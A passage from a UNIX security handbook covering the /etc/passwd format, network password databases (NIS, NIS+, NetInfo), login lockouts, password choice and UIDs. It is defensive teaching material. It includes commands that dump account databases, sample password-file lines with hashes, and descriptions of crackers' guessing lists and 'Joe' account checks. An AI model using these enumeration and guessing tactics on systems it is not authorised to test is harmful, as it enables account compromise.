100 | The user's group identification number (GID)
Rachel Cohen | The user's full name (also known as the GECOS or GCOS field)[3]
/u/rachel | The user's home directory
/bin/ksh | The user's shell[4]

[3] When UNIX was first written, it ran on a small minicomputer. Many users at Bell Labs used their UNIX accounts to create batch jobs to be run via RJE (Remote Job Entry) on the bigger GECOS computer in the Labs. The user identification information for the RJE was kept in the /etc/passwd file as part of the standard user identification. GECOS stood for General Electric Computer Operating System; GE was one of several major companies that made computers around that time.

[4] An empty field for the shell name does not mean that the user has no shell; instead, it means that the Bourne shell (/bin/sh) should be used as a default.

.

Passwords are normally represented by a special encrypted format that is described in "The UNIX Encrypted Password System" in Chapter 8, Defending Your Accounts; the password itself is not really stored in the file. Encrypted passwords may also be stored in separate shadow password files, which are also described in Chapter 8. The meanings of the UID and GID fields are described in Chapter 4, Users, Groups, and the Superuser.

3.2.2 The /etc/passwd File and Network Databases

These days, many organizations have moved away from large time-sharing computers and invested in large client/server networks containing many servers and dozens or hundreds of workstations. These systems are usually set up so that any user can make use of any workstation in a group or in the entire organization. When these systems are in use, every user effectively has an account on every workstation.

Unfortunately, on these large, distributed systems, you cannot ensure that every computer has the same /etc/passwd file. For this reason, there are now several different commercial systems available that make the information stored in the /etc/passwd file available over a network.

Four such systems are:

  • Sun Microsystems' Network Information System (NIS)

  • Sun Microsystems' NIS+

  • Open Software Foundation's Distributed Computing Environment (DCE)

  • NeXT Computer's NetInfo

All of these systems take the information that is usually stored in each workstation's /etc/passwd file and store it in one or more network server computers. If you are using one of these systems and wish to view the contents of the password database, you cannot simply cat the /etc/passwd file. Instead, you must use a command that is specific to your system.

Sun's NIS service supplements the information stored in workstations' own files. If you are using NIS and you wish to get a list of every user account, you would use the following command:

  % cat /etc/passwd;ypcat passwd

Sun's NIS+ service can be configured to supplement or substitute its user account entries for those entries in the /etc/passwd file, depending on the contents of the /etc/nsswitch.conf file. If you are using a system that runs NIS+, you will want to use the niscat command and specify your NIS+ domain. For example:

% niscat -o passwd.bigco

On machines running NetInfo, the local /etc/passwd file is ignored and the network version is used instead. Therefore, if you are using NetInfo and wish to see the user accounts, you only need to type:

% nidump passwd /

Computers that are using DCE use an encrypted network database system as an alternative to encrypted passwords and /etc/passwd files. However, in order to maintain compatibility, some of them have programs which run on a regular basis that create a local /etc/passwd file. You should check your manuals for information about your specific system.

These network database systems are described in greater detail in Chapter 19, RPC, NIS, NIS+, and Kerberos.

At many sites, the administrators prefer not to use network database management systems for fear that the system itself may somehow become compromised. This fear may result from the fact that configurations are often complex, and sometimes the protocols are not particularly resistant to attack. In these environments, the administrator simply keeps one central file of user information and then copies it to remote machines on a periodic basis (for example, using rdist). The drawback to this approach is that it often requires the administrator to intervene to change a user password or shell entry. In general, you should learn to master the configuration of the system supplied by your vendor and use it. You can then put other safeguards in place, such as those mentioned in Chapter 21, Firewalls, and in Chapter 22, Wrappers and Proxies.

NOTE: Because there are so many different ways to access the information that has traditionally been stored in the /etc/passwd file, throughout this book we will simply use the phrase "password file" or "/etc/passwd" as a shorthand for the multitude of different systems. In the programming examples, we will use a special command called " cat-passwd" that prints the contents of the password database on standard output. On a traditional UNIX system without shadow passwords, the cat-passwd command could simply be the command cat /etc/passwd. On a machine running NIS, it could be the command ypcat passwd. You could write such a program for yourself that would to make repeated calls to the getpwent() library call and print the results.

3.2.3 Authentication

After you tell UNIX who you are, you must prove your identity. This process is called authentication. Classically, there are three different ways that you can authenticate yourself to a computer system, and you use one or more of them each time:

  1. You can tell the computer something that you know (for example, a password).

  2. You can "show" the computer something you have (for example, a card key).

  3. You can let the computer measure something about you (for example, your fingerprint).

None of these systems is foolproof. For example, by eavesdropping on your terminal line, somebody can learn your password. By attacking you at gunpoint, somebody can steal your card key. And if your attacker has a knife, you might even lose your finger! In general, the more trustworthy the form of identification, the more troublesome the method is to use, and the more aggressive an attacker must be to compromise it.

3.2.4 Passwords Are a Shared Secret

Passwords are the simplest form of authentication: they are a secret that you share with the computer. When you log in, you type your password to prove to the computer that you are who you claim to be. The computer ensures that the password you type matches the account that you have specified. If they match, you are allowed to proceed.

UNIX doesn't display your password as you type it. This gives you extra protection if you're using a printing terminal or if somebody is watching over your shoulder as you type.[5]

[5] This is sometimes referred to as shoulder surfing.

Passwords are normally UNIX's first line of defense against outsiders who want to break into your system. Although you could break into a system or steal information through the network without first logging in, many break-ins result because of poorly chosen or poorly protected passwords.

3.2.5 Why Use Passwords?

Most desktop personal computers do not use passwords (although there are several third-party programs that do provide varying degrees of protection, and passwords are used by both the Windows and Macintosh network filesystems). The fact that the PC has no passwords makes the computer easier to use, both by the machine's primary user and by anybody else who happens to be in the area. People with PCs rely on physical security - doors, walls, and locks - to protect the information stored on their disks from vandals and computer criminals.

Likewise, many of the research groups that originally developed the UNIX operating system did not have passwords for individual users - often for the same reason that they shied away from locks on desks and office doors. In these environments, trust, respect, and social convention were very powerful deterrents to information theft and destruction.

But when a computer is connected to a modem that can be accessed from almost any place in the world that has a telephone, or when it is connected to a network that is used by people outside the immediate group, passwords on computer accounts become just as necessary as locks on the doors of a townhouse: without them, an intruder can come right in, unhindered, and wreak havoc. And indeed, in today's electronic world, there are numerous people who try the "front door" of every computer they can find. If the door is unlocked, sometimes the vandals will enter and do damage.

Passwords are especially important on computers that are shared by several people, or on computers that are connected to networks where various computers have trust relationships with each other (we'll explain what this means in a later chapter). In such circumstances, a single easily compromised account can endanger the security of the entire installation or network.

3.2.6 Conventional UNIX Passwords

Today, most UNIX systems use simple passwords to authenticate users: the user knows a password, and types the password into the computer to log in.

Conventional passwords have been part of UNIX since its early years. The advantage of this system is that it runs without any special equipment (such as card readers or fingerprint scanners).

The disadvantage of conventional passwords is that they are easily foiled - especially if you log into your computer over a network. In recent years, conventional passwords have not provided dependable security in a networked environment: there are simply too many opportunities for a sophisticated attacker to capture a password and then use it at a later time.[6] Today, even unsophisticated attackers can launch these attacks, thanks to a variety of sophisticated tools available on the net. The only way to safely use a UNIX computer remotely over a network such as the Internet is to use either (or both) one-time passwords or data encryption (see Section 3.7, "One-Time Passwords later in this chapter and in Chapter 8, and Chapter 6, Cryptography).

[6] Passwords are still quite effective for most stand-alone systems with hard-wired terminals.

Unfortunately, we live in an imperfect world, and most UNIX systems continue to depend on reusable passwords for user authentication. As such, passwords continue to be one of the most widely exploited methods of compromising UNIX systems on networks.

Previous: 3.1 Usernames | Practical UNIX & Internet Security | Next: 3.3 Entering Your Password
3.1 Usernames | Book Index | 3.3 Entering Your Password


[Chapter 3] 3.3 Entering Your Password

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 3.2 Passwords Chapter 3
Users and Passwords 		Next: 3.4 Changing Your Password

3.3 Entering Your Password

Telling the computer your password is the way that you prove to the computer that you are you. In classical security parlance, your password is what the computer uses to authenticate your identity (two words that have a lot of significance to security gurus, but generally mean the same thing that they do to ordinary people).

When you log in, you tell the computer who you are by typing your username at the login prompt. You then type your password (in response to the password prompt) to prove that you are who you claim to be. For example:

login: sarah
password: tuna4fis

As we mentioned above, UNIX does not display your password when you type it.

If the password that you supply with your username corresponds to the one on file, UNIX logs you in and gives you full access to all of your files, commands, and devices. If either the password or the username does not match, UNIX does not log you in.

On some versions of UNIX, if somebody tries to log into your account and supplies an invalid password several times in succession, your account will be locked. A locked account can be unlocked only by the system administrator. Locking has two functions:

  1. It protects the system from someone who persists in trying to guess a password; before they can guess the correct password, the account is shut down.

  2. It notifies you that someone has been trying to break into your account.

If you find yourself locked out of your account, you should contact your system administrator and get your password changed to something new. Don't change your password back to what it was before you were locked out.

NOTE: The automatic lockout feature can prevent unauthorized use, but it can also be used to conduct denial of service attacks, or by an attacker to lock selected users out of the system so as to prevent discovery of his actions. A practical joker can use it to annoy fellow employees or students. And you can lock yourself out if you try to log in too many times before you've had your morning coffee. In our experience, indefinite automatic lockouts aren't particularly helpful. A much better method is to employ an increasing delay mechanism in the login. After a fixed number of unsuccessful logins, an increasing delay can be inserted between each successive prompt. Implementing such delays in a network environment requires maintaining a record of failed login attempts, so that the delay cannot be circumvented by an attacker who merely disconnects from the target machine and reconnects.

AIX version 4 can be configured for increased delays at successive login prompts by editing the logindelay variable in the file /etc/security/login.cfg. AIX also supports automatic locking of terminals with automatic reenablement after some time with the logindisable and loginreenable attributes in the same file.

The Linux operating system gives the user 10 chances to log in, with an increasing delay after each attempt. This achieves essentially the same goal as a lockout (preventing someone from trying lots of passwords within a short amount of time), but it limits denial of service attacks as well.

Previous: 3.2 Passwords | Practical UNIX & Internet Security | Next: 3.4 Changing Your Password
3.2 Passwords | Book Index | 3.4 Changing Your Password


[Chapter 3] 3.4 Changing Your Password

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 3.3 Entering Your Password Chapter 3
Users and Passwords 		Next: 3.5 Verifying Your New Password

3.4 Changing Your Password

You can change your password with the UNIX passwd command. passwd first asks you to type your old password, then asks for a new one. By asking you to type your old password first, passwd prevents somebody from walking up to a terminal that you left yourself logged into and then changing your password without your knowledge.

UNIX makes you type the password twice when you change it:

% passwd
Changing password for sarah.
Old password:tuna4fis
New password: nosmis32
Retype new password: nosmis32
%

If the two passwords you type don't match, your password remains unchanged. This is a safety precaution: if you made a mistake typing the new password and UNIX only asked you once, then your password could be changed to some new value and you would have no way of knowing that value.

NOTE: On systems that use Sun Microsystems' NIS or NIS+, you may need to use the command yppasswd or nispasswd to change your password. Except for having different names, these passwords work the same way as passwd. However, when they run, they update your password in the network database with NIS or NIS+. When this happens, your password will be immediately available on other clients on the network. With NIS, your password will be distributed during the next regular update.

Even though passwords are not echoed when they are printed, the BACKSPACE or DELETE key (or whatever key you have bound to the "erase" function) will still delete the last character typed, so if you make a mistake, you can correct it.

After you have changed your password, your old password is no good. Do not forget your new password! If you forget your new password, you will need to have the system administrator set it to something you can use to log in and try again.

If your system administrator gives you a new password, immediately change it to something else that only you know! Otherwise, if your system administrator is in the habit of setting the same password for forgetful users, your account may be compromised by someone else who has had a temporary lapse of memory; see the following sidebar for an example.

NOTE: If you get email from your system manager, advising you that there are system problems and that you should immediately change your password to "tunafish" (or some other value), disregard the message and report it to your system management. These kinds of email messages are frequently sent by computer crackers to novice users. The hope is that the novice user will comply with the request and change his password to the one that is suggested - often with devastating results.

Previous: 3.3 Entering Your Password | Practical UNIX & Internet Security | Next: 3.5 Verifying Your New Password
3.3 Entering Your Password | Book Index | 3.5 Verifying Your New Password


[Chapter 3] 3.5 Verifying Your New Password

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 3.4 Changing Your Password Chapter 3
Users and Passwords 		Next: 3.6 The Care and Feeding of Passwords

3.5 Verifying Your New Password

After you have changed your password, try logging into your account with the new password to make sure that you've entered the new password properly. Ideally, you should do this without logging out, so you will have some recourse if you did not change your password properly. This is especially crucial if you are logged in as root and you have just changed the root password.

Forcing a Change of Password

At one major university we know about, it was commonplace for students to change their passwords and then be unable to log into their accounts. Most often this happened when students tried to put control characters into their passwords.[7] Other times, students mistyped the password and were unable to retype it again later. More than a few got so carried away making up a fancy password that they couldn't remember it later.

[7] The control characters ^@, ^G, ^H, ^J, ^M, ^Q, ^S, and ^[ should probably not be put in passwords, because they can be interpreted by the system. If your users will log in using xdm, they should avoid all control characters, as xdm often filters them out. You should also beware of control characters that may interact with your terminal programs, terminal concentrator monitors, and other intermediate systems you may use. Finally, you may wish to avoid the # and @ characters, as some UNIX systems still interpret these characters with their use as erase and kill characters.

Well, once a UNIX password is entered, there is no way to decrypt it and recover it. The only recourse is to have someone change the password to another known value. Thus, the students would bring a picture ID to the computing center office, where a staff member would change the password to ChangeMe and instruct them to immediately go down the hall to a terminal room to do exactly that.

Late one semester shortly after the Internet worm incident, one of the staff decided to try running a password cracker (see Chapter 8) to see how many student account passwords were weak. Much to the surprise of the staff member, dozens of the student accounts had a password of ChangeMe. Furthermore, at least one of the other staff members also had that as a password! The policy soon changed to one in which forgetful students were forced to enter a new password on the spot.

Under SVR4, there is an option to the passwd command that can be used by the superuser: -f, (e.g., passwd -f nomemory). This forces the user to change his password during the login process the very next time he logs in to the system. It's a good option for system administrators to remember. (This behavior is the default on AIX. OSF/1 uses the chfn command for this same purpose.)

One way to try out your new password is to use the su command. Normally, the su command is used to switch to another account. But as the command requires that you type the password of the account to which you are switching, you can effectively use the su command to test the password of your own account.

%  su nosmis
password: mypassword
%

(Of course, instead of typing nosmis and mypassword, use your own account name and password.)

If you're using a machine that is on a network, you can use the telnet or rlogin programs to loop back through the network and log in a second time by typing:

% telnet localhost
Trying 127.0.0.1...
Connected to localhost
Escape character is '^]'

artemis login: dawn
password: techtalk
Last login: Sun Feb 3 11:48:45 on ttyb
%

You may need to replace localhost in the above example with the name of your computer.

If you try one of the earlier methods and discover that your password is not what you thought it was, you have a definite problem. To change the password to something you do know, you will need the current password. However, you don't know that password! You will need the help of the superuser to fix the situation. (That's why you shouldn't log out - if the time is 2 a.m. on Saturday, you might not be able to reach the superuser until Monday morning, and you might want to get some work done before then.)

The superuser (user root) can't decode the password of any user. However, the superuser can help you when you don't know what you've set your password to by setting your password to something else. If you are running as the superuser, you can set the password of any user, including yourself, without supplying the old password. You do this by supplying the username to the passwd command when you invoke it:

# passwd cindy
New password: NewR-pas
Retype new password: NewR-pas
#

Previous: 3.4 Changing Your Password | Practical UNIX & Internet Security | Next: 3.6 The Care and Feeding of Passwords
3.4 Changing Your Password | Book Index | 3.6 The Care and Feeding of Passwords


[Chapter 3] 3.6 The Care and Feeding of Passwords

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 3.5 Verifying Your New Password Chapter 3
Users and Passwords 		Next: 3.7 One-Time Passwords

3.6 The Care and Feeding of Passwords

Although passwords are the most important element of computer security, users often receive only cursory instructions about selecting them.

If you are a user, be aware that by picking a bad password - or by revealing your password to an untrustworthy individual - you are potentially compromising your entire computer's security. If you are a system administrator, be sure that all of your users are familiar with the issues raised in this section.

3.6.1 Bad Passwords: Open Doors

A bad password is any password that is easily guessed.

In the movie Real Genius, a computer recluse named Laszlo Hollyfeld breaks into a top-secret military computer over the telephone by guessing passwords. Laszlo starts by typing the password AAAAAA, then trying AAAAAB, then AAAAAC, and so on, until he finally finds the password that matches.

Real-life computer crackers are far more sophisticated. Instead of typing each password by hand, crackers use their computers to make phone calls (or opening network connections) and try the passwords, automatically retrying when they are disconnected. Instead of trying every combination of letters, starting with AAAAAA (or whatever), crackers use hit lists of common passwords such as wizard or demo. Even a modest home computer with a good password guessing program can try thousands of passwords in less than a day's time. Some hit lists used by crackers are several hundred thousand words in length.[8] Therefore, a password that anybody else might use for his own password is probably a bad choice for you.

[8] In contrast, if you were to program a home computer to try all 6-letter combinations from AAAAAA to ZZZZZZ, it would have to try 308,915,776 different passwords. Guessing one password per second, that would require nearly ten years.

What's a popular and bad password? Some examples are your name, your partner's name, or your parents' names. Other bad passwords are these names backwards or followed by a single digit. Short passwords are also bad, because there are fewer of them: they are, therefore, more easily guessed. Especially bad are "magic words" from computer games, such as xyzzy. They look secret and unguessable, but in fact are widely known. Other bad choices include phone numbers, characters from your favorite movies or books, local landmark names, favorite drinks, or famous computer scientists (see the sidebar later in this chapter for still more bad choices). These words backwards or capitalized are also weak. Replacing the letter "l" (lowercase "L") with "1" (numeral one), or "E" with "3," adding a digit to either end, or other simple modifications of common words are also weak. Words in other languages are no better. Dictionaries for dozens of languages are available for download on the Internet and dozens of bulletin board systems.

Many versions of UNIX make a minimal attempt to prevent users from picking bad passwords. For example, under some versions of UNIX, if you attempt to pick a password with fewer than six letters that are all of the same case, the passwd program will ask the user to "Please use a longer password." After three tries, however, the program relents and lets the user pick a short one. Better versions allow the administrator to require a minimum number of letters, a requirement for nonalphabetic characters, and other restrictions. However, some administrators turn these requirements off because users complain about them; this is a bad idea. Users will complain more loudly if their computers are broken into.

Bad Passwords

When picking passwords, avoid the following:

  • Your name, spouse's name, or partner's name.

  • Your pet's name or your child's name.

  • Names of close friends or coworkers.

  • Names of your favorite fantasy characters.

  • Your boss's name.

  • Anybody's name.

  • The name of the operating system you're using.

  • Information in the GECOS field of your passwd file entry.

  • The hostname of your computer.

  • Your phone number or your license plate number.

  • Any part of your social security number.

  • Anybody's birth date.

  • Other information easily obtained about you (e.g., address, alma mater).

  • Words such as wizard, guru, gandalf, and so on.

  • Any username on the computer in any form (as is, capitalized, doubled, etc.).

  • A word in the English dictionary or in a foreign dictionary.

  • Place names or any proper nouns.

  • Passwords of all the same letter.

  • Simple patterns of letters on the keyboard, like qwerty.

  • Any of the above spelled backwards.

  • Any of the above followed or prepended by a single digit.

3.6.2 Smoking Joes

Surprisingly, experts believe that a significant percentage of all computers without password content controls contain at least one account where the username and the password are the same. Such accounts are often called "Joes." Joe accounts are easy for crackers to find and trivial to penetrate. Most computer crackers can find an entry point into almost any system simply by checking every account to see whether it is a Joe account. This is one reason why it is dangerous for your computer to make a list of all of the valid usernames available to the outside world.

3.6.3 Good Passwords: Locked Doors

Good passwords are passwords that are difficult to guess. The best passwords are difficult to guess because they:

  • Have both uppercase and lowercase letters.

  • Have digits and/or punctuation characters as well as letters.

  • May include some control characters and/or spaces.

  • Are easy to remember, so they do not have to be written down.

  • Are seven or eight characters long.

Can be typed quickly, so somebody cannot determine what you type by watching over your shoulder.

It's easy to pick a good password. Here are some suggestions:

  • Take two short words and combine them with a special character or a number, like robot4my or eye-con.

  • Put together an acronym that's special to you, like Notfsw (None Of This Fancy Stuff Works), auPEGC (All UNIX programmers eat green cheese), or Ttl*Hiww (Twinkle, twinkle, little star. How I wonder what...).

Of course, robot4my, eye-con, Notfsw, Ttl*Hiww and auPEGC are now all bad passwords because they've been printed here.

Number of Passwords

If you exclude a few of the control characters that should not be used in a password, it is still possible to create more than 43,000,000,000,000,000 unique passwords in standard UNIX.

Combining dictionaries from 10 different major languages, plus those words reversed, capitalized, with a trailing digit appended, and otherwise slightly modified results in less than 5,000,000 words. Adding a few thousand names and words from popular culture hardly changes that.

From this, we can see that users who pick weak passwords are making it easy for attackers - they reduce the search space to less than .0000000012% of the possible passwords!

One study of passwords chosen in an unconstrained environment[9] revealed that users chose passwords with control characters only 1.4% of the time, and punctuation and space characters less than 6% of the time. All of the characters !@#$%^&*()_-+=[]|\;:"?/,.<>`~' can be used in passwords too; although, some systems may treat the "\", "#", and "@" symbols as escape (literal), erase, and kill, respectively. (See the footnote to the earlier sidebar entitled "Forcing a Change of Password" for a list of the control characters that should not be included in a password.)

[9] See the reference to "Observing Reusable Password Choices" in Appendix D, Paper Sources.

Next time one of your users complains because of the password selection restrictions you have in place and proclaims, "I can't think of any password that isn't rejected by the program!", you might show him this page.

3.6.4 Passwords on Multiple Machines

If you have several computer accounts, you may wish to have the same password on every machine, so you have less you need to remember. However, if you have the same password on many machines and one of those machines is compromised, all of your accounts are compromised. One common approach used by people with accounts on many machines is to have a base password that can be modified for each different machine. For example, your base password might be kxyzzy followed by the first letter of the name of the computer you're using. On a computer named athena your password would be kxyzzya, while on a computer named ems your password would be kxyzzye. (Don't, of course, use exactly this method of varying your passwords.)

3.6.5 Writing Down Passwords

There is a tired story about a high school student who broke into his school's academic computer and changed his grades; he did this by walking into the school's office, looking at the academic officer's terminal, and writing down the telephone number, username, and password that were printed on a Post-It note.

Unfortunately, the story is true - hundreds of times over.

Users are admonished to "never write down your password." The reason is simple enough: if you write down your password, somebody else can find it and use it to break into your computer. A password that is memorized is more secure than the same password written down, simply because there is less opportunity for other people to learn it. On the other hand, a password that must be written down to be remembered is quite likely a password that is not going to be guessed easily. If you write your password on something kept in your wallet, the chances of somebody who steals your wallet using the password to break into your computer account are remote indeed.[10]

[10] Unless, of course, you happen to be an important person, and your wallet is stolen or rifled as part of an elaborate plot. In their book Cyberpunks, authors John Markoff and Katie Hafner describe a woman called "Susan Thunder" who broke into military computers by doing just that: she would pick up officers at bars and go home with them. Later that night, while the officer was sleeping, Thunder would get up, go through the man's wallet, and look for telephone numbers, usernames, and passwords.

If you must write down your password, then at least follow a few precautions:

  • When you write it down, don't identify your password as being a password.

  • Don't include the name of the account, network name, or the phone number of the computer on the same piece of paper as your password.

  • Don't attach the password to your terminal, keyboard, or any part of your computer.

  • Don't write your actual password. Instead, disguise it, by mixing in other characters or by scrambling the written version of the password in a way that you can remember. For example, if your password is "Iluvfred", you might write "fredIluv" or "vfredxyIu" or perhaps "Last week, I lost Uncle Vernon's `fried rice & eggplant delight' recipe - remember to call him after 3 p.m." - to throw off a potential wallet-snatcher.[11]

    [11] We hope that last one required some thought. The 3 p.m. means to start with the third word and take the first letter of every word. With some thought, you can come up with something equally obscure that you will remember.

Here are some other things to avoid:

  • Don't record a password online (in a file, in a database, or in an email message), unless the password is encrypted.

  • Likewise, never send a password to another user via electronic mail. In The Cuckoo's Egg, Cliff Stoll tells of how a single intruder broke into system after system by searching for the word "password" in text files and electronic mail messages. With this simple trick, the intruder learned of the passwords of many accounts on many different computers across the country.

  • Don't use your login password as the password of application programs. For instance, don't use your login password as your password to an on-line MUD (multi-user dungeon) game or for a World Wide Web server account. The passwords in those applications are controlled by others and may be visible to the wrong people.

  • Don't use the same password for different computers managed by different organizations. If you do, and an attacker learns the password for one of your accounts, all will be compromised.

This last "don't" is very difficult to follow in practice.

Using Passwords in More Than One Place

Alec Muffett, the author of the Crack program (discussed in Chapter 8), related an entertaining story to us about the reuse of passwords, in more than one place, which we paraphrase here.

A student friend of Alec's (call him Bob) spent a co-op year at a major computer company site. During his vacations and on holidays, he'd come back to school and play AberMUD (a network-based game) on Alec's computer. One of Bob's responsibilities at the company involved system management. The company was concerned about security, so all passwords were random strings of letters with no sensible pattern or order.

One day, Alec fed the AberMUD passwords into his development version of the Crack program as a dictionary, because they were stored on his machine as plain text. He then ran this file against his system user-password file, and found a few student account passwords. He had the students change their passwords, and he then forgot about the matter.

Some time later, Alec posted a revised version of the Crack program and associated files to the Usenet. They ended up in one of the sources newsgroups and were distributed quite widely. Eventually, after a trip of thousands of miles around the world, they came to Bob's company. Bob, being a concerned administrator, decided to download the files and check them against his company's passwords. Imagine Bob's shock and horror when the widely distributed Crack promptly churned out a match for his randomly chosen, super-secret root password!

The moral of the story is that you should teach your users to never use their account passwords in other applications or on other systems outside the same administrative domain. They never know when those passwords might come back to haunt them! (And programs like AberMUD should be modified to store passwords encrypted with one-way hash functions.)

Previous: 3.5 Verifying Your New Password | Practical UNIX & Internet Security | Next: 3.7 One-Time Passwords
3.5 Verifying Your New Password | Book Index | 3.7 One-Time Passwords


[Chapter 3] 3.7 One-Time Passwords

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 3.6 The Care and Feeding of Passwords Chapter 3
Users and Passwords 		Next: 3.8 Summary

3.7 One-Time Passwords

The most effective way to minimize the danger of bad passwords is to not use conventional passwords at all. Instead, your site can install software and/or hardware to allow one-time passwords. A one-time password is just that - a password that is used only once.

As a user, you may be given a list of passwords on a printout; each time you use a password, you cross it off the list, and you use the next password on the list the next time you log in. Or you may be given a small card to carry; the card will display a number that changes every minute. Or you may have a small calculator that you carry around. When the computer asks you to log in, it will print a number, and you will type that number into your little calculator, then type in your personal identification number, and then type to the computer the resulting number that is displayed.

All of these one-time password systems provide an astounding improvement in security over the conventional system. Unfortunately, because they require either the installation of special programs or the purchase of additional hardware, they are not widespread at this time in the UNIX marketplace.

One-time passwords are explained in greater detail in Chapter 8; that chapter also shows some examples of one-time password systems available today.

Previous: 3.6 The Care and Feeding of Passwords | Practical UNIX & Internet Security | Next: 3.8 Summary
3.6 The Care and Feeding of Passwords | Book Index | 3.8 Summary


[Chapter 3] 3.8 Summary

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 3.7 One-Time Passwords Chapter 3
Users and Passwords 		Next: 4. Users, Groups, and the Superuser

3.8 Summary

In this chapter we've discussed how UNIX identifies users and authenticates their identity at login. We've presented some details on how passwords are represented and used. We'll present more detailed technical information in succeeding chapters on how to protect access to your password files and passwords, but the basic and most important advice for protecting your system can be summarized as follows:

  • Use one-time passwords if possible.

Otherwise:

  • Ensure that every account has a password.

  • Ensure that every user chooses a strong password.

  • Don't tell your password to other users.

Remember: even if the world's greatest computer cracker should happen to dial up your machine, if that person is stuck at the login: prompt, the only thing that he or she can do is to guess usernames and passwords, hoping to hit one combination that is correct. Unless the criminal has specifically targeted your computer out of revenge or because of special information that's on your system, the perpetrator is likely to give up and try to break into another machine.

Making sure that users pick good passwords is one of the most important parts of running a secure computer system.

Previous: 3.7 One-Time Passwords | Practical UNIX & Internet Security | Next: 4. Users, Groups, and the Superuser
3.7 One-Time Passwords | Book Index | 4. Users, Groups, and the Superuser


[Chapter 4] Users, Groups, and the Superuser

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 3.8 Summary Chapter 4 Next: 4.2 Special Usernames

4. Users, Groups, and the Superuser

Contents:
Users and Groups
Special Usernames
su: Changing Who You Claim to Be
Summary

In Chapter 3, Users and Passwords, we explained that every UNIX user has a user name to define an account. In this chapter, we'll describe how the operating system views users, and we'll discuss how accounts and groups are used to define access privileges for users. We will also discuss how you may assume the identity of another user or group so as to temporarily use their access rights.

4.1 Users and Groups

Although every UNIX user has a username of up to eight characters long, inside the computer UNIX represents each user by a single number: the user identifier (UID). Usually, the UNIX system administrator gives every user on the computer a different UID.

UNIX also uses special usernames for a variety of system functions. As with usernames associated with human users, system usernames usually have their own UIDS as well. Here are some common "users" on various versions of UNIX:

  • root, the superuser, which performs accounting and low-level system functions.

  • daemon or sys, which handles some aspects of the network. This username is also associated with other utility systems, such as the print spoolers, on some versions of UNIX.

  • agent, which handles aspects of electronic mail. On many systems, agent has the same UID as daemon.

  • guest, which is used for site visitors to access the system.

  • ftp, which is used for anonymous FTP access.

  • uucp, which manages the UUCP system.

  • news, which is used for Usenet news.

  • lp, which is used for the printer system.[1]

    [1] lp stands for line printer, although these days most people seem to be using laser printers.

  • nobody, which is a user that owns no files and is sometimes used as a default user for unprivileged operations.

Here is an example of an /etc/passwd file containing these system users:

root:zPDeHbougaPpA:0:1:Operator:/:/bin/ksh
nobody:*:60001:60001::/tmp:
agent:*:1:1::/tmp:
daemon:*:1:1::/tmp:
ftp:*:3:3:FTP User:/usr/spool/ftp:
uucp:*:4:4::/usr/spool/uucppublic:/usr/lib/uucp/uucico
news:*:6:6::/usr/spool/news:/bin/csh

Notice that most of these accounts do not have "people names," and that all except root have a password field of *. This prevents people from logging into these accounts from the UNIX login: prompt, as we'll discuss later.[2]

[2] This does not prevent people from logging in if there are trusted hosts/users on that account; we'll describe these later in the book.

NOTE: There is nothing magical about these particular account names. All UNIX privileges are determined by the UID (and sometimes the group ID, or GID), and not directly by the account name. Thus, an account with name root and UID 1005 would have no special privileges, but an account named mortimer with UID 0 would be a superuser. In general, you should avoid creating users with a UID of 0 other than root, and you should avoid using the name root for a regular user account. In this book, we will use the terms "root" and "superuser" interchangeably.

4.1.1 User Identifiers (UIDs)

UIDs are historically unsigned 16-bit integers, which means they can range from 0 to 65535. UIDs between 0 and 9 are typically used for system functions; UIDs for humans usually begin at 20 or 100. Some versions of UNIX are beginning to support 32-bit UIDs. In a few older versions of UNIX, UIDs are signed 16-bit integers, usually ranging from -32768 to 32767.

UNIX keeps the mapping between usernames and UIDs in the file /etc/passwd. Each user's UID is stored in the field after the one containing the user's encrypted password. For example, consider the sample /etc/passwd entry presented in Chapter 3:

rachel:eH5/.mj7NB3dx:181:100:Rachel Cohen:/u/rachel:/bin/ksh

In this example, Rachel's username is rachel and her UID is 181.

The UID is the actual information that the operating system uses to identify the user; usernames are provided merely as a convenience for humans. If two users are assigned the same UID, UNIX views them as the same user, even if they have different usernames and passwords. Two users with the same UID can freely read and delete each other's files and can kill each other's programs. Giving two users the same UID is almost always a bad idea; we'll discuss a few exceptions in the next section.

4.1.2 Multiple Accounts with the Same UID

There are two exceptions when having multiple usernames with the same UID is sensible. The first is for logins used for the UUCP system. In this case, it is desirable to have multiple UUCP logins with different passwords and usernames, but all with the same UID. This allows you to track logins from separate sites, but still allows each of them access to the shared files. Ways of securing the UUCP system are described in detail in Chapter 15, UUCP.

The second exception to the rule about only one username per UID is when you have multiple people with access to a system account, including the superuser account, and you want to track their activities via the audit trail. By creating separate usernames with the same UID, and giving the users access to only one of these identities, you can do some monitoring of usage. You can also disable access for one person without disabling it for all.

As an example, consider the case where you may have three people helping administer your Usenet news software and files. The password file entry for news is duplicated in the /etc/passwd file as follows:

root:zPDeHbougaPpA:0:1:Operator:/:/bin/ksh
nobody:*:60001:60001::/tmp:
daemon:*:1:1::/tmp:
ftp:*:3:3:FTP User:/usr/spool/ftp:
news:*:6:6::/usr/spool/news:/bin/csh
newsa:Wx3uoih3B.Aee:6:6:News co-admin Sabrina:/usr/spool/news:/bin/csh
newsb:ABll2qmPi/fty:6:6:News co-admin Rachel:/usr/spool/news:/bin/sh
newsc:x/qnr4sa70uQz:6:6:News co-admin Fred:/usr/spool/news:/bin/ksh

Each of the three helpers has a unique password, so they can be shut out of the news account, if necessary, without denying access to the others. Also, the activities of each can now be tracked if the audit mechanisms record the account name instead of the UID (most do, as we describe in Chapter 10, Auditing and Logging). Because the first entry in the passwd file for UID 6 has the account name news, any listing of file ownership will show files belonging to user news, not to newsb or one of the other users. Also note that each user can pick his or her own command interpreter (shell) without inflicting that choice on the others.

This approach should only be used for system-level accounts, not for personal accounts. Furthermore, you should institute rules in your organizations that require users (Sabrina, Rachel, and Fred) to log in to their own personal accounts first, then su to their news maintenance accounts - this provides another level of accountability and identity verification. (See the discussion of su later in this chapter.) Unfortunately, in most versions of UNIX, there is no way to enforce this requirement, except by preventing root from logging on to particular devices.

4.1.3 Groups and Group Identifiers (GIDs)

